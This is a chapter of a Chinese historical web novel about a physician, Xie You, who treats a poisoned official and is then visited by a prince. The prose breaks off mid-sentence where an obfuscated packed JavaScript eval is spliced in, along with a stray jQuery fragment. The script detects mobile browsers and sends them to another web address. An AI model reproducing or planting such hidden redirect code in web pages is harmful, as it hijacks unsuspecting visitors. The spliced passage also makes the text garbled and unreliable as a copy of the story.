谢攸怔了一瞬,望着柳执因拂袖而去的背影,心中竟生出几分无措,仿佛被什么轻轻揪起,随即又空落落地沉了下去。
那感觉并不尖锐,却好似不经意沾惹上的月光,留下若有若无的冷意。
何云争用药钵盛了马钱子,细细碾着,轻响碎入穿堂而过的风中。
“柳院判素来是如此的脾性,还请忌先生不要放在心上。”
谢攸极轻地“嗯”了一声,将未竟之言都藏进了消散的尾音里。
他忽然觉得很疲惫。不论是容斟和身上蹊跷至极的毒,还是与柳执因突如其来的重逢,都让他耗尽了气力。
仿佛有一只无形的手在暗中推波助澜,将他一点点推向京都,推向晋王府,眼下又推进这场再明显不过的局里。
容斟和身上所中之毒,举世无双,难得一见。
以至指尖初初搭上他脉门的时候,谢攸几乎有一瞬的诧异,怀疑是自己错认了。
当时情势紧迫,他心念流转,万千思绪于止息间寥寥而逝,却顾不得许多,再三探过,确认了毒性,便下定结论,未及多虑。
方才被这样斥过一番,谢攸却忽然想起,这毒,柳执因也是认得的。
倘若今日他执意不来,容斟和未必就会病重于此。
倘若方才,他说出心里被否掉的药方,柳执因大约会将他这个“花架子”怒骂一通,再另拟一个“柳方”,亦能解此燃眉之急。
这些都是更周全,也更稳妥的选择。
谢攸垂着眸,将搁置膝头的手看了又看,忽然抬起,阳光透过指缝照进来,给他苍白的手渡上了一层暖色。
从前柳悯修总是看着他的手,笑道,这双手有奇能,只要摸上脉息,就恍若入了无人之境,什么也顾不得了。
那时他总是一笑而过。
直至今日,他蓦然想起柳师的话语,唇畔扯出一个极苦极涩的弧度。
若非如此,在容斟和面前,他不会脑中闪过那么多药方,想了近百种迂回之法,却全然没有察觉到柳执因的异样。
依照柳执因一贯的行事风格,他不可能放任谢攸把毒解了,自己在旁边静静看着,不置一词。
他在太医院遭受排挤,这些年难以再进一步,正是因为,凡遇见这样的事,他定会拿出一张自己的方,跟那人一较高下。
向来是柳执因的用药更胜一筹,旁人便深感被驳了面子。
而谢攸知道,不是这样的。柳执因并不在意其他人是否难堪。
他只是不能容忍,那些在他看来是一张废纸的药,被轻易地用在病人的身上。
这才是柳执因。
他不会因为面前是享誉天下的司灵官,便对其高看一眼。而初进屋时,柳执因对他的态度,亦是此理。
谢攸的心转瞬被汩汩冒出的寒意填满,在炭火烧得极暖的屋子里,竟倏的打了个冷战。
仿佛看见面前正藏着一处幽深的漩涡。他稍一靠近,便被卷入其中,无影无踪。
思绪未平,却见门外人将药钵拿了过来,请他确认。谢攸扫了一眼,点了点头:“可以了。”
何云争将碾好的药末倾入陶罐,看着褐色粉末簌簌而落,不禁叹息道:
“大人的身子向来不好,去年又在归鹤台下受了重伤,当真是雪上加霜,病得愈重了。”
谢攸心下微微一动。
昨日何云争就提过,容斟和曾在归鹤台下,受过极重的伤。
他当时被那些案子引去了注意,这句话只在思绪中留下了浅浅的痕迹。
“归鹤台”三个字,于他而言,意味着太多无法触及又纠缠不清的过往。
于是他不由问上了一句:“是怎么回事?”
何云争拿着一把蒲扇吹着火苗,闻言回道:
“去年在归鹤台下,大人救了个人,才受了那般重的伤。”
顿了顿,声音压得更低,几乎融入了药炉上氤氲的白汽里,模糊不清。
“谢攸,先生可曾听说过这个名字?”
.
李焉隅得信从宫中出来时,已过了午后。阳光正盛,洒落在他身上,给浅色的衣袍渡了上一层碎碎的鎏金。
早有人在宫门外等候他,正是宁昼的兄长,宁朝。
见他出来,宁朝迎上前,低声道:
“殿下,忌先生进去后,便一直未从容府出来。”
李焉隅脚步未停,神色掠过一丝极淡的阴影。他默然不语,俯身入了马车。
宁朝一边小心地驭着马,一边将容府的情况细细道来。说到最后,声音里不禁添了焦灼:
“我已经让宁昼在府外守着,只是眼下还没有消息。”
车帘内寂然片刻,李焉隅的声音沉闷无边,落入耳中,让人心头浮起几分郁色。
“容斟和昨夜凶险已过,脉象当趋平稳,不该突然反复。”
宁朝闻言惊道:“那忌先生岂不是很危险?”
“他既去了,便不会袖手旁观。”李焉隅思忖一二,又问:“期间可曾有人出入容府?”
“先生进去之后,只有太医院的柳院判出来过,再没有旁的人了。”
“柳执因?”李焉隅眸光微动,不禁蹙起了眉:“他不是告假多日了吗?来凑什么热闹。”
言语间,马车已至容府。李焉隅收束了思绪,叩响门环。府内有人前去通禀,不稍片刻,何云争便急步迎了出来。他行了个大礼,一边将李焉隅往里面引,一边道:
“先生说大人是中了毒,刚才灌了药下去,毒已经解了大半。”
李焉隅微微颔首,脚步未停,话音却是一转:“柳院判何时回京的?”
“这……微臣不知。”何云争道,“只是柳大人替指挥使诊过几次,微臣这是病急乱投医了。”
李焉隅却顿了步子,面无表情地看向他:“你对柳执因,也是这番说辞么?”
何云争闻言愣了愣,李焉隅素来温和,在玄镇司外当真很少露出这般神色。他当即一跪,往地上磕了个头:“微臣不敢欺瞒,还请殿下明鉴。”
李焉隅冷冷地扯了下唇角,没理地上跪着的人,径自往正堂里去了。
一踏入室内,便瞧见谢攸正坐在榻边,侧影清瘦,手底下专注地施着针。
亲眼看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411405|184595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他安然无恙,李焉隅这一路悬着的心才稍稍落下。他快步上前,问道:“如何?”
谢攸闻声回头,面露几分诧异。
“毒性已解了大半,只是有些余毒深入肌理,清理尚需时日,还要再用几服药。”
“我问的是你。”李焉隅站在他一步之外的地方,安安静静地垂眸看着他,脸上竟是一分笑意也无。
谢攸微微一怔,眼底掠过几分极复杂神色,最终都化作一声叹息,轻声说道:“我很好。”
李焉隅一时未有作声。
午后的阳光透过细密的窗棂,静静地铺沉在地面上。四下里极静,唯有细尘在其中浮沉。
他的视线落在谢攸搭在床边的手上,那十指修长,却冷的近乎透明。
李焉隅指尖微微一动,轻轻覆在了谢攸的手背上。
谢攸被这突如其来的举动惊了一惊,指尖下意识想要向后退去,却被李焉隅不由分说地拢进掌心,再也不能移开分毫。
那点萦绕在周身的冷意,也在这一刻被妥贴地包裹起来,悄然融化在另一个人的体温里。
他不知所措,只得强自按捺下翻腾的心绪,说道:
“时辰尚早,殿下此时从宫里出来,不合礼数,怕是会惹得陛下与太子不悦。容指挥使无性命之忧,殿下不必为我挂心。”
言下之意,仍是盼他回去。
谢攸此时面上虽然勉力维持平静,内心却已方寸大乱。
何云争吐露的事,不啻一道惊雷骤落,震得他神魂都似荡了一荡。
他不明白容斟和出手相救背后的深意,可此时此刻,这些缘由都不重要了。
仅容斟和知道他尚在人世,便足以令他万劫不复。
他什么都不愿再想,只盼能先将李焉隅劝回宫中,再寻个由头从容府脱身,就此远遁,再不入这京畿繁华半分。
若此刻不走,只怕日后便是想逃,也再难脱身。
思及此,谢攸凝定心神,让自己看起来并无异样,放缓了声音道:“这里一切皆好,待容指挥使情况稍稳,我便回去。殿下宽心。”
李焉隅依旧沉默。他心里的那股沉郁之气渐渐化作不可名状的怒意,几乎就要遏制不住,喷薄而出。
他知谢攸所言句句在理。
往日或可恣意随心,然如今身在局中,书院案尚未查清,牵一发而动全身,他所能凭依的,不过一个亲王身份。
是以不能与宫中相违。
他是真的该回去了。
可他又何尝看不出,面前的人正是存了想要就此远遁的心。这一别,宫墙深深,前路迢迢,倘若放任他离去,归鹤台下的事,不知又要发生多少回。
也不知,是否真的还能有再见之日。
李焉隅不自觉地抿紧了唇,窗棂透进来的光在他身上描摹出半明半暗的影。他将满腹怒火一压,看向谢攸,没头没尾地扔下一句:“不许叫我殿下。”
顿了顿,又续道。
“方才我进宫时,在宫道旁遇见了谢侍郎。他听闻忌先生回京,托我向你求个人情,问先生闲暇时能否过府,替他父亲诊诊旧疾。”